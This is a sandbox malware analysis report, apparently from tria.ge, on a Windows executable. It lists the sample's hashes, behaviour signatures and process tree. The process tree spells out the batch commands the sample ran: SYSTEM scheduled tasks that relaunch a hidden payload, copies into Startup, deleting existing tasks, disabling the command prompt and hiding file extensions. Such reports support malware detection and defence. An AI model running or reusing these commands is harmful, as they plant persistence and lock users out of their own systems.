Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
8s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
30/12/2023, 02:35
Behavioral task
behavioral1
Sample
0bd7d7dabe45fe525f5d1a4a6f873e51.exe
Resource
win7-20231215-en
General
-
Target
0bd7d7dabe45fe525f5d1a4a6f873e51.exe
-
Size
39KB
-
MD5
0bd7d7dabe45fe525f5d1a4a6f873e51
-
SHA1
f660189ddf84889efdb1293d83fb8ab0ebb92650
-
SHA256
52525bbac63c96a99e827e816f3b2cfd30c0e7cd940b699d53a2e97460ec8259
-
SHA512
033ca26d6609004397cbed4cfe4c1bddb35cec45f28873aff7ce69e59a3777f10d564e90d6759d65e5c43c72fdce096e30904be0f91e1530bc8e1ea8b7b73f7e
-
SSDEEP
768:+PL3EeDC0W89JUtXnbcuyD7U/n5tSwlBrhr4TfbExyuPu6k8UaL746F+ZZnvHuml:4LpDC0+nouy8ywrhr4TbExyuPu6kLaLW
Malware Config
Signatures
-
Modifies visibility of file extensions in Explorer 2 TTPs 22 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" schtasks.exe Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" Process not Found -
Modifies visiblity of hidden/system files in Explorer 2 TTPs 11 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" Process not Found -
Sets file to hidden 1 TTPs 64 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 1972 Process not Found 2668 Process not Found 4864 attrib.exe 664 Process not Found 2412 Process not Found 3304 Process not Found 3756 Process not Found 4720 Process not Found 5032 attrib.exe 2956 Process not Found 5100 Process not Found 3100 Process not Found 2864 Process not Found 3960 Process not Found 2840 Process not Found 4768 Process not Found 3716 Process not Found 3460 Process not Found 624 Process not Found 2624 Process not Found 3928 attrib.exe 3144 Process not Found 2524 Process not Found 3860 Process not Found 368 Process not Found 4516 Process not Found 4088 Process not Found 5008 Process not Found 536 Process not Found 3816 Process not Found 532 Process not Found 740 Process not Found 2384 Process not Found 2116 Process not Found 1088 Process not Found 3952 Process not Found 740 Process not Found 4320 Process not Found 1340 Process not Found 1292 Process not Found 552 Process not Found 4860 Process not Found 1108 Process not Found 3380 Process not Found 1764 Process not Found 5048 Process not Found 3752 Process not Found 3912 Process not Found 4516 attrib.exe 3008 attrib.exe 1780 Process not Found 640 Process not Found 3388 Process not Found 1340 Process not Found 1984 attrib.exe 2484 attrib.exe 1836 attrib.exe 868 Process not Found 528 Process not Found 4940 Process not Found 3880 attrib.exe 1848 attrib.exe 4972 attrib.exe 4500 Process not Found -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation 48FF.tmp -
Executes dropped EXE 1 IoCs
pid Process 3556 48FF.tmp -
resource yara_rule behavioral2/memory/1508-0-0x0000000000400000-0x0000000000425000-memory.dmp upx behavioral2/memory/1508-8-0x0000000000400000-0x0000000000425000-memory.dmp upx -
Drops file in Windows directory 21 IoCs
description ioc Process File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File created C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1 Process not Found File opened for modification C:\Windows\bg1\text.txt Process not Found -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 64 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4504 schtasks.exe 3424 schtasks.exe 3804 Process not Found 3948 Process not Found 532 Process not Found 1148 Process not Found 3948 Process not Found 3920 Process not Found 4908 schtasks.exe 2240 schtasks.exe 2096 Process not Found 4376 Process not Found 3804 Process not Found 4844 schtasks.exe 2668 schtasks.exe 3368 Process not Found 408 Process not Found 4596 Process not Found 3380 Process not Found 3804 Process not Found 4356 Process not Found 1984 Process not Found 3860 Process not Found 2384 Process not Found 3716 Process not Found 2208 Process not Found 4132 Process not Found 1420 Process not Found 1164 Process not Found 4952 Process not Found 4728 schtasks.exe 4572 Process not Found 5008 Process not Found 4680 Process not Found 1152 Process not Found 3664 Process not Found 2648 schtasks.exe 4356 Process not Found 640 Process not Found 2928 Process not Found 1780 Process not Found 2120 schtasks.exe 4588 Process not Found 3172 Process not Found 3048 Process not Found 3412 Process not Found 4588 Process not Found 4608 Process not Found 640 Process not Found 4828 Process not Found 5100 Process not Found 2944 Process not Found 4460 Process not Found 3892 Process not Found 4736 schtasks.exe 2240 schtasks.exe 1536 schtasks.exe 3452 schtasks.exe 2140 Process not Found 3960 Process not Found 2096 Process not Found 628 Process not Found 4528 schtasks.exe 2956 Process not Found -
Enumerates system info in registry 2 TTPs 64 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Process not Found -
Kills process with taskkill 2 IoCs
pid Process 5028 taskkill.exe 2408 taskkill.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2408 Process not Found Token: SeDebugPrivilege 5028 Process not Found Token: SeShutdownPrivilege 4772 Process not Found Token: SeRemoteShutdownPrivilege 4772 Process not Found Token: SeShutdownPrivilege 940 shutdown.exe Token: SeRemoteShutdownPrivilege 940 shutdown.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1508 wrote to memory of 3556 1508 0bd7d7dabe45fe525f5d1a4a6f873e51.exe 89 PID 1508 wrote to memory of 3556 1508 0bd7d7dabe45fe525f5d1a4a6f873e51.exe 89 PID 1508 wrote to memory of 3556 1508 0bd7d7dabe45fe525f5d1a4a6f873e51.exe 89 PID 3556 wrote to memory of 4448 3556 48FF.tmp 90 PID 3556 wrote to memory of 4448 3556 48FF.tmp 90 PID 3556 wrote to memory of 4448 3556 48FF.tmp 90 PID 4448 wrote to memory of 2408 4448 cmd.exe 2951 PID 4448 wrote to memory of 2408 4448 cmd.exe 2951 PID 4448 wrote to memory of 2408 4448 cmd.exe 2951 PID 4448 wrote to memory of 5028 4448 cmd.exe 3040 PID 4448 wrote to memory of 5028 4448 cmd.exe 3040 PID 4448 wrote to memory of 5028 4448 cmd.exe 3040 PID 4448 wrote to memory of 4772 4448 cmd.exe 6103 PID 4448 wrote to memory of 4772 4448 cmd.exe 6103 PID 4448 wrote to memory of 4772 4448 cmd.exe 6103 PID 4448 wrote to memory of 940 4448 cmd.exe 98 PID 4448 wrote to memory of 940 4448 cmd.exe 98 PID 4448 wrote to memory of 940 4448 cmd.exe 98 PID 4448 wrote to memory of 4792 4448 cmd.exe 4812 PID 4448 wrote to memory of 4792 4448 cmd.exe 4812 PID 4448 wrote to memory of 4792 4448 cmd.exe 4812 PID 4448 wrote to memory of 1292 4448 cmd.exe 6185 PID 4448 wrote to memory of 1292 4448 cmd.exe 6185 PID 4448 wrote to memory of 1292 4448 cmd.exe 6185 PID 4448 wrote to memory of 408 4448 cmd.exe 6015 PID 4448 wrote to memory of 408 4448 cmd.exe 6015 PID 4448 wrote to memory of 408 4448 cmd.exe 6015 PID 4448 wrote to memory of 800 4448 cmd.exe 6195 PID 4448 wrote to memory of 800 4448 cmd.exe 6195 PID 4448 wrote to memory of 800 4448 cmd.exe 6195 PID 4448 wrote to memory of 3952 4448 cmd.exe 6177 PID 4448 wrote to memory of 3952 4448 cmd.exe 6177 PID 4448 wrote to memory of 3952 4448 cmd.exe 6177 PID 4448 wrote to memory of 3128 4448 cmd.exe 100 PID 4448 wrote to memory of 3128 4448 cmd.exe 100 PID 4448 wrote to memory of 3128 4448 cmd.exe 100 PID 4448 wrote to memory of 752 4448 cmd.exe 5699 PID 4448 wrote to memory of 752 4448 cmd.exe 5699 PID 4448 wrote to memory of 752 4448 cmd.exe 5699 PID 4448 wrote to memory of 4880 4448 cmd.exe 3027 PID 4448 wrote to memory of 4880 4448 cmd.exe 3027 PID 4448 wrote to memory of 4880 4448 cmd.exe 3027 PID 4448 wrote to memory of 2788 4448 cmd.exe 3026 PID 4448 wrote to memory of 2788 4448 cmd.exe 3026 PID 4448 wrote to memory of 2788 4448 cmd.exe 3026 PID 4448 wrote to memory of 2624 4448 cmd.exe 6190 PID 4448 wrote to memory of 2624 4448 cmd.exe 6190 PID 4448 wrote to memory of 2624 4448 cmd.exe 6190 PID 4448 wrote to memory of 3092 4448 cmd.exe 1117 PID 4448 wrote to memory of 3092 4448 cmd.exe 1117 PID 4448 wrote to memory of 3092 4448 cmd.exe 1117 PID 4448 wrote to memory of 1324 4448 cmd.exe 2812 PID 4448 wrote to memory of 1324 4448 cmd.exe 2812 PID 4448 wrote to memory of 1324 4448 cmd.exe 2812 PID 4448 wrote to memory of 2136 4448 cmd.exe 1206 PID 4448 wrote to memory of 2136 4448 cmd.exe 1206 PID 4448 wrote to memory of 2136 4448 cmd.exe 1206 PID 4448 wrote to memory of 3896 4448 cmd.exe 103 PID 4448 wrote to memory of 3896 4448 cmd.exe 103 PID 4448 wrote to memory of 3896 4448 cmd.exe 103 PID 4448 wrote to memory of 664 4448 cmd.exe 6113 PID 4448 wrote to memory of 664 4448 cmd.exe 6113 PID 4448 wrote to memory of 664 4448 cmd.exe 6113 PID 4448 wrote to memory of 1840 4448 cmd.exe 5588 -
Views/modifies file attributes 1 TTPs 64 IoCs
pid Process 2192 Process not Found 2484 attrib.exe 116 Process not Found 5028 Process not Found 3324 Process not Found 3892 Process not Found 4488 Process not Found 4656 Process not Found 4320 Process not Found 2156 Process not Found 4364 attrib.exe 2956 Process not Found 4088 Process not Found 640 Process not Found 3144 Process not Found 3952 Process not Found 3512 attrib.exe 532 Process not Found 3008 attrib.exe 5024 Process not Found 3412 Process not Found 3912 Process not Found 3460 Process not Found 4000 Process not Found 5100 Process not Found 4964 Process not Found 3392 Process not Found 4920 Process not Found 752 Process not Found 664 Process not Found 3376 Process not Found 1108 Process not Found 3512 attrib.exe 4728 attrib.exe 1316 Process not Found 3660 Process not Found 1292 Process not Found 1984 Process not Found 1012 attrib.exe 1676 Process not Found 4528 Process not Found 4560 Process not Found 2944 Process not Found 2028 Process not Found 1420 Process not Found 3216 Process not Found 2760 Process not Found 240 Process not Found 2828 Process not Found 3928 Process not Found 5048 Process not Found 4240 Process not Found 2412 Process not Found 2412 Process not Found 1780 Process not Found 436 Process not Found 552 Process not Found 3348 Process not Found 1180 Process not Found 4652 attrib.exe 3480 Process not Found 4320 Process not Found 3324 attrib.exe 4676 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\0bd7d7dabe45fe525f5d1a4a6f873e51.exe"C:\Users\Admin\AppData\Local\Temp\0bd7d7dabe45fe525f5d1a4a6f873e51.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Users\Admin\AppData\Local\Temp\48FF.tmpC:\Users\Admin\AppData\Local\Temp\48FF.tmp C:\Users\Admin\AppData\Local\Temp2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpfile0.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Flash.10.exe /im Macromedia.10.exe4⤵
- Kills process with taskkill
PID:2408
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Flash.10.exe /im Macromedia.10.exe4⤵
- Kills process with taskkill
PID:5028
-
-
C:\Windows\SysWOW64\shutdown.exeshutdown -a4⤵PID:4772
-
-
C:\Windows\SysWOW64\shutdown.exeshutdown -a4⤵
- Suspicious use of AdjustPrivilegeToken
PID:940
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3128
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:3092
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2136
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:3896
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1324
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:664
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:4728
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵
- Creates scheduled task(s)
PID:4908
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3324
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3620
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1984
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:2532
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4676
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:3368
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4328
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:1508
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3664
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4588
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵
- Enumerates system info in registry
PID:2748
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4340
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:884
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:2524
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4400
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:5080
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4676
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4204
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4352
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:3804
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:3844
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4656
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4908
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:1212
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:744
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2160
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:3352
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:4844
